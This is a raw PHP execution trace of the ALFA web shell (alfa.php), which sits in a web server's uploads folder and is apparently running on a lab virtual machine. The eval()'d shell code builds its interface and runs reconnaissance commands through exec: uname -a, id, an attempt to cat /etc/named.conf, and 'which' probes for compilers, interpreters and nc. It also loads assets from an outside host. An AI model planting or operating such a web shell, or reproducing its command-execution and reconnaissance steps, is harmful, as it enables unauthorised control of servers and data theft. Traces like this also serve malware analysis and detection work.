7 260 0 0.081321 3451104 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#27979B' 'box-shadow:0 0 4px {color};border:1px solid {color};'
7 260 1 0.081339 3451280
7 260 R 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'uploader_progress_bar'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.up_bar'
7 261 0 0.081409 3451144 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'uploader_progress_bar'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#00ff00', 'multi_selector' => ['.up_bar' => 'background-color: {color};']]
7 261 1 0.081442 3451144
7 261 R '#00ff00'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#00ff00'
7 262 0 0.081467 3451144 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#00ff00' 'background-color: {color};'
7 262 1 0.081484 3451296
7 262 R 'background-color: #00ff00;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'background-color: #00ff00;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.up_bar{background-color: #00ff00;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'mysql_tables'
7 263 0 0.081536 3451120 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 1 'mysql_tables'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = '#00FF00'
7 263 1 0.081563 3451120
7 263 R '#00FF00'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 $value = '#00FF00'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 631 $css .= '.mysql_tables{color: #00FF00;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'mysql_table_count'
7 264 0 0.081617 3451120 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 1 'mysql_table_count'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = '#67ABDF'
7 264 1 0.081644 3451120
7 264 R '#67ABDF'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 $value = '#67ABDF'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 631 $css .= '.mysql_table_count{color: #67ABDF;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'copyright'
7 265 0 0.081693 3451120 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 1 'copyright'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = '#dfff00'
7 265 1 0.081719 3451120
7 265 R '#dfff00'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 $value = '#dfff00'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 631 $css .= '.copyright{color: #dfff00;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'scrollbar'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '*::-webkit-scrollbar-thumb'
7 266 0 0.081779 3451120 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'scrollbar'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#1e82b5', 'multi_selector' => ['*::-webkit-scrollbar-thumb' => 'background-color: {color};']]
7 266 1 0.081813 3451120
7 266 R '#1e82b5'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#1e82b5'
7 267 0 0.081838 3451120 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#1e82b5' 'background-color: {color};'
7 267 1 0.081862 3451272
7 267 R 'background-color: #1e82b5;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'background-color: #1e82b5;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '*::-webkit-scrollbar-thumb{background-color: #1e82b5;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'scrollbar_background'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '*::-webkit-scrollbar-track'
7 268 0 0.081931 3452144 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'scrollbar_background'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#000115', 'multi_selector' => ['*::-webkit-scrollbar-track' => 'background-color: {color};']]
7 268 1 0.081973 3452144
7 268 R '#000115'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#000115'
7 269 0 0.081998 3452144 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#000115' 'background-color: {color};'
7 269 1 0.082015 3452296
7 269 R 'background-color: #000115;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'background-color: #000115;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '*::-webkit-scrollbar-track{background-color: #000115;}'
6 138 1 0.082058 3452088
6 138 R '.header{border: 7px solid #0E304A}#meunlist{border-color: #0E304A}#hidden_sh{background-color: #0E304A}.ajaxarea{border: 1px solid #0E304A}.foot{border-color: #0E304A}.header_vars{color: #27979B;}.header_values{color: #67ABDF;}.header_on{color: #00FF00;}.header_off{color: #ff0000;}.header_none{color: #00FF00;}.home_shell{color: #ff0000;}.home_shell:hover{color: #FFFFFF;}.back_shell{color: #efbe73;}.back_shell:hover{color: #FFFFFF;}.header_pwd{color: #00FF00;}.header_pwd:hover{color: #FFFFFF;}.header_drive{c'
6 270 0 0.082331 3435704 htmlspecialchars 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1073 1 '/var/www/html/uploads/'
6 270 1 0.082354 3435896
6 270 R '/var/www/html/uploads/'
6 271 0 0.082372 3435816 htmlspecialchars 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1074 1 'FilesMan2'
6 271 1 0.082387 3436008
6 271 R 'FilesMan2'
6 272 0 0.082406 3435864 htmlspecialchars 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1075 1 'Windows-1251'
6 272 1 0.082422 3436056
6 272 R 'Windows-1251'
6 273 0 0.083207 3447992 __showicon 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1086 1 'loader'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1237 $s['btn'] = 'http://solevisible.com/images/btn.png'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1238 $s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1239 $s['loader'] = 'http://solevisible.com/images/loader.svg'
6 273 1 0.083277 3447992
6 273 R 'http://solevisible.com/images/loader.svg'
6 274 0 0.083295 3447992 alfaEx 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1087 4 'uname -a' FALSE FALSE ???
7 275 0 0.083314 3447992 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 2 'uname -a' FALSE
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 758 $out = ''
8 276 0 0.083343 3447992 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 761 1 'exec'
8 276 1 0.083358 3448032
8 276 R TRUE
8 277 0 0.083372 3448016 exec 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 762 2 'uname -a' ''
8 277 1 0.084766 3448776
8 277 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
8 278 0 0.084810 3448552 join 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 2 '\n' [0 => 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux']
8 278 1 0.084849 3448616
8 278 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 $out = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
7 275 1 0.084910 3448152
7 275 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 $data = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
6 274 1 0.084968 3448152
6 274 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1087 $cmd_uname = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
6 279 0 0.085024 3448152 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1088 1 'php_uname'
6 279 1 0.085041 3448192
6 279 R TRUE
6 280 0 0.085055 3448152 php_uname 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1088 0
6 280 1 0.085070 3448264
6 280 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
6 281 0 0.085089 3448264 substr 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1088 3 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64' 0 120
6 281 1 0.085108 3448360
6 281 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1088 $uname = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1098 $s = 1
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1098 $s++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1098 $s++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1098 $s++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1098 $s++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1098 $s++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1098 $s++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1098 $s++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1098 $s++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1098 $s++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1098 $s++
6 282 0 0.085256 3449544 phpversion 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1116 0
6 282 1 0.085270 3449608
6 282 R '7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
6 283 0 0.085297 3450056 date 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1124 1 'Y-m-d H:i:s'
6 283 1 0.085398 3452408
6 283 R '2023-02-12 21:38:13'
6 284 0 0.085422 3450328 _alfa_file 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1130 2 '/etc/named.conf' FALSE
7 285 0 0.085440 3450328 file 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2507 1 '/etc/named.conf'
7 285 1 0.085490 3450480
7 285 R FALSE
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2507 $array = FALSE
7 286 0 0.085533 3450440 alfaEx 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2509 4 'id' FALSE FALSE ???
8 287 0 0.085559 3450440 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 2 'id' FALSE
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 758 $out = ''
9 288 0 0.085603 3450440 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 761 1 'exec'
9 288 1 0.085629 3450480
9 288 R TRUE
9 289 0 0.085649 3450464 exec 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 762 2 'id' ''
9 289 1 0.087112 3451064
9 289 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
9 290 0 0.087141 3450920 join 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 2 '\n' [0 => 'uid=33(www-data) gid=33(www-data) groups=33(www-data)']
9 290 1 0.087160 3450984
9 290 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 $out = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
8 287 1 0.087192 3450520
8 287 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 $data = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
7 286 1 0.087222 3450520
7 286 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
7 291 0 0.087240 3450440 addslashes 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2510 1 '/etc/named.conf'
7 291 1 0.087255 3450472
7 291 R '/etc/named.conf'
7 292 0 0.087270 3450488 alfaEx 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2510 4 'cat "/etc/named.conf"' FALSE FALSE ???
8 293 0 0.087287 3450488 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 2 'cat "/etc/named.conf"' FALSE
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 758 $out = ''
9 294 0 0.087315 3450488 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 761 1 'exec'
9 294 1 0.087330 3450528
9 294 R TRUE
9 295 0 0.087343 3450512 exec 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 762 2 'cat "/etc/named.conf"' ''
9 295 1 0.088442 3450632
9 295 R ''
9 296 0 0.088466 3450568 join 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 2 '\n' []
9 296 1 0.088483 3450632
9 296 R ''
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 $out = ''
8 293 1 0.088510 3450488
8 293 R ''
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 $data = ''
7 292 1 0.088544 3450488
7 292 R ''
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2510 $data = ''
6 284 1 0.088569 3450440
6 284 R FALSE
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1130 $d0mains = FALSE
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1131 GLOBALS['need_to_update_header'] = 'true'
6 297 0 0.088612 3450440 alfaSize 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1146 1 232015802368
7 298 0 0.088629 3450440 sprintf 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2411 2 '%1.2f' 216.08155441284
7 298 1 0.088647 3450824
7 298 R '216.08'
6 297 1 0.088675 3450480
6 297 R '216.08 GB'
6 299 0 0.088699 3450664 alfaSize 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1146 1 197919940608
7 300 0 0.088789 3450664 sprintf 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2411 2 '%1.2f' 184.32730865479
7 300 1 0.088819 3451048
7 300 R '184.33'
6 299 1 0.088847 3450704
6 299 R '184.33 GB'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1149 $useful_downloader = '<tr><td height="18" colspan="2"><span class="header_vars">useful:</span><span class="header_values" id="header_useful">--------------</span></td></tr><td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" id="header_downloader">--------------</span></td></tr>'
6 301 0 0.088909 3450440 ini_get 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1150 1 'safe_mode'
6 301 1 0.088936 3450472
6 301 R FALSE
6 302 0 0.088961 3450440 alfaEx 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1151 4 'id' FALSE FALSE ???
7 303 0 0.088983 3450440 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 2 'id' FALSE
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 758 $out = ''
8 304 0 0.089027 3450440 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 761 1 'exec'
8 304 1 0.089052 3450480
8 304 R TRUE
8 305 0 0.089078 3450464 exec 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 762 2 'id' ''
8 305 1 0.090388 3451064
8 305 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
8 306 0 0.090415 3450920 join 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 2 '\n' [0 => 'uid=33(www-data) gid=33(www-data) groups=33(www-data)']
8 306 1 0.090433 3450984
8 306 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 $out = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
7 303 1 0.090465 3450520
7 303 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 $data = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6 302 1 0.090495 3450520
6 302 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1153 $userful = [0 => 'gcc', 1 => 'lcc', 2 => 'cc', 3 => 'ld', 4 => 'make', 5 => 'php', 6 => 'perl', 7 => 'python', 8 => 'ruby', 9 => 'tar', 10 => 'gzip', 11 => 'bzip', 12 => 'bzialfa2', 13 => 'nc', 14 => 'locate', 15 => 'suidperl']
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1154 $x = 0
6 307 0 0.090551 3450440 alfaWhich 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1155 1 'gcc'
7 308 0 0.090567 3450480 alfaEx 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 4 'which gcc' FALSE FALSE ???
8 309 0 0.090582 3450480 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 2 'which gcc' FALSE
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 758 $out = ''
9 310 0 0.090630 3450480 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 761 1 'exec'
9 310 1 0.090651 3450520
9 310 R TRUE
9 311 0 0.090671 3450504 exec 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 762 2 'which gcc' ''
9 311 1 0.091840 3451024
9 311 R '/usr/bin/gcc'
9 312 0 0.091866 3450920 join 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 2 '\n' [0 => '/usr/bin/gcc']
9 312 1 0.091896 3450984
9 312 R '/usr/bin/gcc'
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 $out = '/usr/bin/gcc'
8 309 1 0.091949 3450520
8 309 R '/usr/bin/gcc'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 $data = '/usr/bin/gcc'
7 308 1 0.091995 3450520
7 308 R '/usr/bin/gcc'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 $path = '/usr/bin/gcc'
6 307 1 0.092055 3450440
6 307 R 12
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1155 $x++
6 313 0 0.092094 3450440 alfaWhich 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1155 1 'lcc'
7 314 0 0.092110 3450480 alfaEx 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 4 'which lcc' FALSE FALSE ???
8 315 0 0.092126 3450480 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 2 'which lcc' FALSE
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 758 $out = ''
9 316 0 0.092159 3450480 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 761 1 'exec'
9 316 1 0.092175 3450520
9 316 R TRUE
9 317 0 0.092188 3450504 exec 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 762 2 'which lcc' ''
9 317 1 0.093361 3450624
9 317 R ''
9 318 0 0.093387 3450560 join 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 2 '\n' []
9 318 1 0.093404 3450624
9 318 R ''
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 $out = ''
8 315 1 0.093432 3450480
8 315 R ''
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 $data = ''
7 314 1 0.093457 3450480
7 314 R ''
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 $path = ''
6 313 1 0.093482 3450440
6 313 R FALSE
6 319 0 0.093496 3450440 alfaWhich 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1155 1 'cc'
7 320 0 0.093511 3450480 alfaEx 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 4 'which cc' FALSE FALSE ???
8 321 0 0.093527 3450480 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 2 'which cc' FALSE
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 758 $out = ''
9 322 0 0.093554 3450480 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 761 1 'exec'
9 322 1 0.093578 3450520
9 322 R TRUE
9 323 0 0.093598 3450504 exec 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 762 2 'which cc' ''
9 323 1 0.094825 3451024
9 323 R '/usr/bin/cc'
9 324 0 0.094851 3450920 join 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 2 '\n' [0 => '/usr/bin/cc']
9 324 1 0.094870 3450984
9 324 R '/usr/bin/cc'
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 $out = '/usr/bin/cc'
8 321 1 0.094899 3450520
8 321 R '/usr/bin/cc'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 $data = '/usr/bin/cc'
7 320 1 0.094925 3450520
7 320 R '/usr/bin/cc'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 $path = '/usr/bin/cc'
6 319 1 0.094951 3450440
6 319 R 11
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1155 $x++
6 325 0 0.094977 3450440 alfaWhich 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1155 1 'ld'
7 326 0 0.094992 3450480 alfaEx 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 4 'which ld' FALSE FALSE ???
8 327 0 0.095008 3450480 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 2 'which ld' FALSE
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 758 $out = ''
9 328 0 0.095035 3450480 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 761 1 'exec'
9 328 1 0.095050 3450520
9 328 R TRUE
9 329 0 0.095073 3450504 exec 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 762 2 'which ld' ''
9 329 1 0.096231 3451024
9 329 R '/usr/bin/ld'
9 330 0 0.096257 3450920 join 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 2 '\n' [0 => '/usr/bin/ld']
9 330 1 0.096275 3450984
9 330 R '/usr/bin/ld'
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 $out = '/usr/bin/ld'
8 327 1 0.096304 3450520
8 327 R '/usr/bin/ld'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 $data = '/usr/bin/ld'
7 326 1 0.096333 3450520
7 326 R '/usr/bin/ld'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 $path = '/usr/bin/ld'
6 325 1 0.096360 3450440
6 325 R 11
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1155 $x++
6 331 0 0.096387 3450440 alfaWhich 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1155 1 'make'
7 332 0 0.096403 3450480 alfaEx 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 4 'which make' FALSE FALSE ???
8 333 0 0.096429 3450480 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 2 'which make' FALSE
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 758 $out = ''
9 334 0 0.096457 3450480 function_exists 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 761 1 'exec'
9 334 1 0.096472 3450520
9 334 R TRUE
9 335 0 0.096485 3450504 exec 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 762 2 'which make' ''
9 335 1 0.097732 3451024
9 335 R '/usr/bin/make'
9 336 0 0.097768 3450920 join 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 2 '\n' [0 => '/usr/bin/make']
9 336 1 0.097787 3450984
9 336 R '/usr/bin/make'
8 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 763 $out = '/usr/bin/make'
8 333 1 0.097817 3450520
8 333 R '/usr/bin/make'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 $data = '/usr/bin/make'
7 332 1 0.097853 3450520
7 332 R '/usr/bin/make'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 $path = '/usr/bin/make'
6 331 1 0.097881 3450440
6 331 R 13
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1155 $x++
6 337 0 0.097913 3450440 alfaWhich 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1155 1 'php'
7 338 0 0.097931 3450480 alfaEx 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2404 4 'which php' FALSE FALSE ???
8 339 0 0.097947 3450480 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 744 2 'which php' FALSE
